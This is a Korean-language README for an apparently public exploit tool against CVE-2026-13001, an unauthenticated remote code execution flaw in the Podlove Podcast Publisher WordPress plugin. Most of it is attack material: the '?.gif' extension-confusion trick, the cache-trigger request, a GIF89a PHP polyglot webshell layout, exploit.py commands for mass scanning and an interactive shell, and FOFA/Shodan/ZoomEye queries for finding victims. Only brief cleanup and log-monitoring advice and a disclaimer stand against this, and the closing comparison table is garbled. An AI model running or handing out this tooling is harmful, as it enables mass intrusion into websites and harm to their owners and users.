
CVE-2026-13001 익스플로잇: 확장자 혼동을 통한 Podlove Podcast Publisher의 인증되지 않은 RCE. 대량 스캔, 대화형 셸 및 GIF89a PHP 폴리글롯 페이로드 포함.
CVSS 9.8 (심각) | 인증되지 않은 임의 파일 업로드로 인한 원격 코드 실행
Podlove Podcast Publisher WordPress 플러그인(버전 4.5.1 이하)의 심각한 취약점으로, 인증되지 않은 공격자가 이미지 캐시 기능을 통해 서버에 임의의 PHP 파일을 업로드하여 원격 코드 실행(RCE) 을 가능하게 합니다.
이 취약점은 파일 확장자를 다르게 해석하는 두 개의 내부 함수 간 불일치를 악용합니다:
| 함수 | 방식 | 입력: payload.php?.gif | 결과 |
|---|---|---|---|
is_image() | basename() 후 pathinfo() | payload.php?.gif | .gif (검증 통과) |
extract_file_extension() | parse_url() 후 pathinfo() | /payload.php | .php (디스크에 저장) |
취약점은 Podlove 플러그인의 두 함수가 동일한 URL을 구문 분석하지만 서로 다른 파일 확장자를 추출하기 때문에 발생합니다.
is_image() — 검증 (lib/helper.php)// 호출: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif")는 "payload.php?.gif" 반환
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION)는 "gif" 반환 <- 우회!
함수는 다음을 확인합니다:
exif_imagetype()을 통한 콘텐츠 기반 확인 - 유효한 이미지 헤더(GIF89a) 필요wp_check_filetype_and_ext()를 통한 WordPress 파일 유형 확인basename()이 쿼리 문자열을 포함하므로 확장자가 gif로 나타나 차단 목록에 없습니다.
extract_file_extension() — 파일 이름 지정 (lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (쿼리 문자열이 제거됨!)
// pathinfo("/payload.php", PATHINFO_EXTENSION)는 "php" 반환
파일은 디스크에 .php 확장자로 저장됩니다.
1. 공격자는 attacker.com/payload.php 에서 GIF89a PHP 폴리글롯을 호스팅
(파일은 GIF89a 헤더로 시작하지만 PHP 코드 포함)
2. 익스플로잇이 URL에 ?.gif를 추가: payload.php?.gif
그런 다음 전체 URL을 16진수로 인코딩
3. 캐시 다운로드 트리거:
GET /?podlove_image_cache_url={16진수_인코딩_URL}&podlove_file_name=test
4. 플러그인 처리:
a. 공격자 URL에서 파일 다운로드
b. is_image() 콘텐츠 확인: GIF89a 헤더 감지 - 통과
c. is_image() 확장자 확인: basename에서 "gif" 확인 - 통과
d. extract_file_extension()이 parse_url 경로 사용: "php" 획득
e. 파일이 test_original.php로 저장됨
5. 파일 위치:
/wp-content/cache/podlove/{해시[:2]}/{해시[2:]}/test_original.php
6. 공격자가 매개변수와 함께 파일에 접근 -> RCE 달성
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url 단일 대상 URL
-f, --file 대상 URL 목록 파일 (한 줄에 하나)
-s, --shell GIF89a PHP 폴리글롯을 호스팅하는 URL
--filename 캐시된 파일의 사용자 지정 파일 이름 (기본값: shell)
--shell-url 대화형 모드용 직접 URL
-o, --output 취약한 대상 목록 출력 파일 (대량 모드)
-t, --threads 스레드 수 (기본값: 10)
-v, --verbose 상세 출력
--debug 디버그 출력 (모든 HTTP 요청 표시)
--no-payload-test 페이로드 접근성 테스트 건너뛰기
shell_polyglot.gif.php는 GIF 이미지와 PHP 모두로 유효한 폴리글롯 파일입니다:
GIF89a <- 유효한 GIF 헤더 (exif_imagetype 검사 통과)
/* <- 주석 시작 (GIF 바이너리 데이터는 PHP에서 주석 처리됨)
<?php <- PHP 코드 시작
// ... 코드 ...
?>
중요: 폴리글롯은 정적 파일(예: Cloudflare R2, AWS S3, PHP 없는 nginx)으로 호스팅되어야 합니다. 호스팅 서버가 PHP를 처리하면 코드가 대상에 원시 콘텐츠로 전달되지 않고 호스팅 서버에서 실행됩니다.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
성공적인 익스플로잇은 웹 서버 사용자 권한으로 원격 코드 실행을 가져옵니다:
wp-content/cache/podlove/ 디렉터리 내용 삭제podlove_image_cache_url 요청에 대한 접근 로그 모니터링이 취약점은 CVE-2025-10147(Podlove <= 4.2.6)에 대한 수정 사항의 우회입니다.
| 측면 | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| 근본 원인 | 파일 유형 검증 없음 | 확장자 혼동을 통한 검증 우회 |
| 기술 | 직접 PHP 파일 업로드 |
자세한 비교는 analysis/CVE_COMPARISON.md를 참조하세요.
교육 및 승인된 테스트 목적으로만 사용하십시오.
이 도구는 보안 연구원과 침투 테스터가 명시적인 서면 승인을 받고 대상 시스템을 테스트하기 위해 제작되었습니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
ghostpel-sec — 보안 연구 및 익스플로잇 개발
이 프로젝트는 ghostpel-sec Security Research License에 따라 라이선스가 부여됩니다.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-13001 |
| CVSS | 9.8 (심각) |
| CWE | CWE-20 (입력 검증 부적절) |
| 플러그인 | Podlove Podcast Publisher |
| 영향받는 버전 | 4.5.1 이하 |
| 패치 버전 | 4.5.2 |
| 유형 | 인증되지 않은 임의 파일 업로드를 통한 RCE |
| 연구자 | Talal Nasraddeen (Wordfence 소속) |
| 공개일 | 2026년 7월 14일 |
| GIF89a 폴리글롯 + URL 쿼리 트릭 |
| 적용된 수정 | 차단 목록과 함께 is_image() 추가 | 확장자 분석 일관성 수정 |